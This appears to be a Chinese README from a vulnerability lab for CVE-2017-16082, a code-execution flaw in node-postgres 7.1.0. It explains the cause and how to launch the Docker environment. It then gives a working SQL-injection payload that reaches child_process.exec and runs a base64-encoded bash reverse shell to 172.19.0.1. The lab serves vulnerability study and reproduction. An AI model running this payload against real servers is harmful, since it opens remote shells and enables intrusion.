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node/CVE-2017-16082/README.zh-cn.md
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node/CVE-2017-16082/README.zh-cn.md
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# node-postgres 代码执行漏洞(CVE-2017-16082)
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## 漏洞原理
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node-postgres在处理类型为`Row Description`的postgres返回包时,将字段名拼接到代码中。由于没有进行合理转义,导致一个特殊构造的字段名可逃逸出代码单引号限制,造成代码执行漏洞。
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参考链接:
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- https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
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- https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability
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- https://zhuanlan.zhihu.com/p/28575189
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## 漏洞环境
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执行如下命令编译及运行一个基于node-postgres 7.1.0的漏洞环境:
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```
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docker compose build
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docker compose up -d
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```
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成功运行后,访问`http://your-ip:3000/?id=1`即可查看到id为1的用户信息,用sqlmap即可发现此处存在注入点,且数据库为postgres:
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## 漏洞复现
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那么,我们就可以猜测这里存在node-postgres的代码执行漏洞。编写我想执行的命令`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`,然后适当分割(每段长度不超过64字符)后替换在如下payload中:
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```
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SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", 4 AS "*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`)//"
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```
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将上述payload编码后发送:
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成功执行命令,如反弹shell:
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因为复现过程中坑比较多,payload生成与测试过程中如果出现错误,还请多多阅读[我的这篇文章](https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html),从原理上找到问题所在。
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